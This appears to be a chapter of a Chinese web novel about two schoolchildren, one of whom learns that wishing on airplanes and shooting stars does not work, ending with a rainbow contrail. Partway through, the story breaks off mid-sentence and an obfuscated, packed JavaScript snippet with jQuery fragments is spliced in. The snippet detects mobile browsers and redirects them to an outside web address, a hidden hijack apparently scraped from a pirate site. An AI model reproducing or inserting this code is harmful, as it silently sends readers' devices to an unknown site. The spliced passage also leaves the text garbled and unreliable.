飞机无法将她的愿望告诉流星，无异于天塌地陷，世界观的大崩塌引起的连锁反应如山呼海啸，眼泪决堤，一刻也停不得。


    她哭得嗓子哑了，脸颊被咸涩的泪水浸得生疼。


    班主任安慰半天劝不住眼泪，问周围同学，谁也不明白为什么，纷纷指向周拓。


    周拓也是一脸茫然。


    两手捧着纸巾，一双黑眸盛满问号，两颊却红到耳尖，焦急又尴尬，他不知道自己说错了什么，不知道她为什么哭得这么厉害。


    班主任把两人带到会议室，叫来双方家长。


    周拓妈妈蒋素是医生，工作很忙来不了。周承安接到电话，火急火燎地出门，一出门就遇上牧辽和何乐仪。班主任没说清楚事情原由，跟周承安说的是周拓弄哭一个女生。跟何乐仪说的是女儿被同学欺负了。


    三个人在车上还在讨论，猜测会不会是有同学欺负何希音，周拓仗义出手，把那个同学弄哭了。


    待三人走进会议室却傻眼了。


    偌大的桌子，中间坐在严肃的班主任，板着张铁面无私的黑脸。左边是两眼哭成核桃的何希音，右边的周拓低着头。


    “那个被他弄哭的同学呢？”周承安左看右瞧，寻觅的眼神要把会议室挖穿了。


    班主任却指着左侧说：“周拓把何希音弄哭了。”


    三人又是一愣。


    周承安忙问：“你和她说什么了？”


    周拓摊手：“我说的是事实。向飞机许愿是没有用的。”


    何希音又哇了一声，拉着牧辽的衣袖：“爸。你听。我每天和飞机说那么多话都没有用啦！！为什么啊！你为什么骗我啊！”


    牧辽摸头，不知道如何解释，手搭在她肩上轻抚安慰。


    何乐仪开解：“没有白说。你说出来，说明这些都是你在意的事。有的人稀里糊涂地活了一辈子也不知道自己要什么。你知道要什么，那就有努力的方向了。飞机在为你引路呢。怎么会没用呢。”


    何希音听着有道理，不再哭泣。


    原来是误会一场，班主任没再追责，说开学第一天没重要的课程，两人回家去休息一天，整理好心情，明日再来学校上课。


    可以回家，何希音心情更晴朗，笑容浮现，笑出的褶皱折断两侧泪痕，把书搬上车，兴高采烈地讨论要去哪里玩。


    牧辽说：“不行。我和妈妈下午都要工作。你在家好好预习功课。班主任把今天的作业告诉我了。”


    周承安说：“让她来我家？”


    何乐仪推辞：“不能一直麻烦你呀。”


    周承安摆手：“不麻烦。希音有分寸，不会打扰我工作的。就是……”他侧身，拍她肩膀，“你不要生周拓的气，好吗？”


    何希音摇头：“我不会。”


    周拓看着窗外飞驰的树，疑惑仍挂在心头，他还是不明白何希音情绪崩溃的原由，只是大家不再提，他便不再问。


    到周家，周承安进屋画稿，留两人在客厅看书。


    何希音倏地坐正，问：“你什么时候知道飞机不能许愿这件事？”


    周拓回：“我爸说的时候。”


    “啊？”何希音不信，“他一说，你就知道？为什么呢？”


    “周叔叔怎么说的？”她追问。


    周拓复述周承安的话。


    何希音找不到破绽，挠头喃喃：“和我爸说的差不多呀。飞机会飞，流星也会飞。流星能许愿，飞机为什么不可以啊？”


    “流星也……”周拓急刹车，咽下后半句。


    何希音猜到了：“流星许愿也是假的。对吗？”


    周拓问：“我说实话。你会哭吗？”


    “不会。”


    “是假的。”


    “呜——”


    “说好不哭的。”周拓抽纸。


    何希音仰头，眼泪刚才都流干净了，这会再难过也哭不出来，只是嗷呜喊两声以示难过。


    “我没哭。”她说。


    她捧着脑袋叹气，左边叹一下，右边叹一下：“那和什么东西许愿有用呢？”


    “什么都没用。”周拓言辞肯定，拿出镜子，放在她的书里，她清秀的瓜子脸顶着一双哭肿的眼睛，像两个豆沙包，蓬松暄软，看上去有些滑稽。


    何希音自己都忍不住笑，周拓却没笑，认真说——


    “你必须靠自己。”


    两个人同龄，可周拓说话一会严肃，一会认真。一个暑假的时间，她没看见他摆弄玩具，房间的书柜放的也不是漫画是练习题。因为要转学，这个暑假没有作业，何希音高兴坏了，来找周拓，发现他乐此不疲地在房间写练习题。


    真是怪人。


    他一点不像周承安。


    她再次感叹。


    她问：“你和周叔叔说知道飞机不能许愿这事是假的时候，他说什么了吗？”


    周拓沉思片刻，说出个出乎意料的答案——


    “他哭了。”


    何希音以为听错了：“啊？”


    周拓重复一次：“是的。他哭了。”


    ~


    几年前，周承安给一个飞行员的儿童故事画插画。


    在插画下面他写上这两句“飞机的每一次起升降落都承载着数百人的平安，象征着幸运。看不见流星的日子里，向飞机许的愿也会实现。”


    流星罕见，而飞机常见。


    时刻心怀梦想是他送给孩子们的礼物。


    他对这两句鼓励很满意，也用来鼓励周拓。


    怎料刚说完，周拓就说：“不可能。”


    周承安叉腰：“你向飞机许过愿？你怎么知道不可能？”


    “如果向飞机许愿有用，为什么你的漫画还是没能出版？”


    周拓说这句时，语气如常，仿佛在说‘’1+1=2’这样的验证理论。


    周承安却愣住，不知如何回应。


    过了好一会，周拓凑近：“爸。你哭了？”


    周承安笑着，像温柔老父亲那般摸他的脑袋，扯笑的唇却微微颤动，咬着后槽牙说：“你可真是我的好儿子。”


    周拓又问：“那你为什么哭？”


    “感动的。”


    “好吧。”


    周拓离开房间。周承安立即泄了气，窝在沙发，两手环胸抱着胳膊，一会叹气，一会又咬牙：“我恨。”


    蒋素下班，瞧他窝在沙发，满目哀怨。


    她问：“怎么了？”


    周承安的哀怨劲还没过：“我恨我怎么没生个哑巴。”


    蒋素：？？？


    ~


    今天，蒋素下班回来，第一件事就是询问周承安怎么处理学校的事？


    周承安说：“是误会。”


    “周拓没做错事吧？”


    “……”


    周承安犹豫许久：“倒也不是错。”


    蒋素：“是大事吗？”


    “不是。”周承安拍她肩膀，“都解决了。不要担心。”


    蒋素刚放下心，又被他叫住。


    “你们医院有没有一种要是可以吃下去就让人说不了话。但需要他说话的时候，再喂个解药，他又能说话了。”


    “有吗？”


    “当然没有！”蒋素赏了他一个大白眼，“你这脑子都在想什么怪事。”


    周承安冤枉至极：“没有赶紧研发一个。”


    “啊？”


    “咱儿子需要。”


    他十分认真。


    然而下一秒就挨了蒋素一记板栗。结结实实地敲在脑门，疼得他龇牙咧嘴，直呼‘再也不敢胡说八道了’。


    —


    何希音时常怀疑周拓是个机器人。


    他的脑子连接着百科全书，可实时查阅，否则怎么能知道那么多课本上没有的知识。


    而且……


    哪有人会在假期初始就把作业一口气写完的！


    不正常。


    很不正常。


    她盯着周拓的后脖颈发呆。机器人的操控板都藏在后脖颈，电影里都是这么演的。她眯着眼，不放过一处，仔细查找端倪。


    周拓捂住后颈：“你看什么？”


    何希音认真：“看你的操控板在哪。”


    周拓：？？？


    何希音盯着他的眼眸，目不转睛的：“周拓，你有没有想过，你可能不是蒋阿姨和周叔叔的儿子。是某个外星人遗留在地球的孩子？或者是某个科学家研发出来的机器人，委托叔叔阿姨检测？”


    周拓没回答，从疑惑转为无语，戳她作业本，提醒：“下周期中考。紧接着就是家长会。”


    “嘶——”何希音背脊冒冷汗，有种不祥的预感，摇头晃出稀奇古怪的想法，拿笔继续写题。


    但没两秒，她又问：“你为什么这么爱写题？每次放假，马上就把题写完了。”


    问归问，手上的笔一刻不停。


    “你为什么这么不爱写题？每次放假要拖到最后再写？”周拓反问。


    何希音失语。


    因为有想看的卡通片，有要追


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239424|166246||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的故事书，有想去的游乐场……周一到周五，她每天都在盼周末，好不容易放假当然要把只有在周末能做的事做完！想做的事那么多，轮到作业就是最后期限了呗。


    她在心里回答。


    “早写晚写都要写。我习惯早点写完，再心无旁骛地去做其他事。”周拓给出回答，“作业，谈不上喜不喜欢。只是一项必须完成的事。”


    “好吧。”何希音瘪嘴，尽管他的回答用上‘喜欢’这个极具情感色彩的词，整句话在她听来还是像机器人。


    铅笔尖划过纸面，窸窸窣窣的声响，挠得她难受，她余光悄悄瞥向周拓，发现他不知道何时已经翻页了。何希音咬着后牙，略有不满，都是两只眼睛审题，一个脑袋思考，他怎么能写那么快！


    她不服气。


    深呼吸，全神投入。


    写完数学卷，她刚想炫耀，侧目一看，周拓的数学卷已写完，在写语文题了。她气成表情包，两个鼻孔呼出的气都是不甘心的怨气，热乎乎的。


    “周拓！你怎么写这么快？！你都写到作文题了？！”


    “没有。”周拓翻面，阅读题那面空白着，只有前面的默写写完了。


    何希音指着空白处：“这些你不写吗？”


    周拓说：“看到作文题知道要写什么，就先写完。”


    “那你刚才的数学也没按顺序写？”


    “没有。”周拓拿来卷子，用悬空的笔尖圈题，“数学我会先写简单题，再写难题。这样可以保证拿分最大化。”


    “这又不是考试。只是练习题而已。”


    “是考试练习。”周拓纠正。


    “可恶。”何希音嘴上不饶人，方才的不甘心瞬间消散，“我就说你怎么可能写那么快。你翻页那么快都干扰我写题啦！”


    周拓反驳：“谁让你看我的。”


    “我……”何希音环胸，“哼。”


    周拓按下桌面计时器：“一小时。”


    他起身去另外一张书桌。


    何希音不解：“这是干嘛？”


    周拓：“互不打扰。一小时后看谁先写完。”


    “啊啊啊！！”何希音边喊‘不公平你先动笔了’，边奋笔疾书地写默写。虽然是很无聊的比赛，但她不想输。


    一小时倒计时结束，周拓先写完，但何希音也在收尾作文了。


    周拓走过来按掉计时器。


    “我没有输噢。我就剩一百多字了。我比你晚开始的。”她的笔一刻不停，嘴也一刻不停，碎碎念着。


    周拓说：“这不是比赛。只是节约写作业时间的方法。”


    “啊啊啊！我写完啦！”何希音画上句号。


    ‘嘭’——


    他推开阳台门。


    潮湿的热风灌进房间。


    入秋有段时间了，今早的短暂降雨没有拉低气温，反而迎来一波秋老虎。温湿的空气黏糊糊的，风也缠人。


    周拓靠在阳台，一边看腕表，一边抬头望向天空，像是在等什么。


    “何希音。过来看。”


    何希音懵圈地起身。


    远处的轰鸣，忽起的大风。她突然明白了，侧身朝向机场的方向：“是飞机的声音。”


    “你不是说向飞机许愿没用吗？”


    “但你看。”周拓一手按在她肩膀，一手贴在她后脑勺，朝机场的方向推，“注意看。”


    飞机像往常那样划过两人头顶。


    但今天它拖着的是一条彩虹尾。红的、黄的、青的、紫的，彩虹色的斑点一块又一块的拼接在飞机尾部，随着它飞翔的痕迹。


    何希音揉眼，又揉眼，再揉眼，像只陀螺，随着飞机的航向旋转，反复确认，才确信看见的是一条彩虹。


    “你怎么会知道？！”


    “不知道。”周拓仍仰着头，“我在赌。”


    “飞机在云层中飞行时，会排放大量水蒸气，形成飞机云。太阳光通过飞机云时，水滴发生折射和反射会形成类似彩虹的光环效果。”


    “不是每次飞行都能形成彩虹轨迹。”


    “今早下过雨，天气热，空气湿润，水蒸气多。”


    “几率会大一些吧。”


    天边的彩虹轨迹还未消去，何希音侧目，他站的位置比她高一些，风吹过他的衣领，而他站在彩虹里。


    原来他不止是会学习的机器。


    下一秒，他说的话几乎让她泪奔。


    周拓说：“用这个作为你不能向飞机许愿的补偿，可以吗？”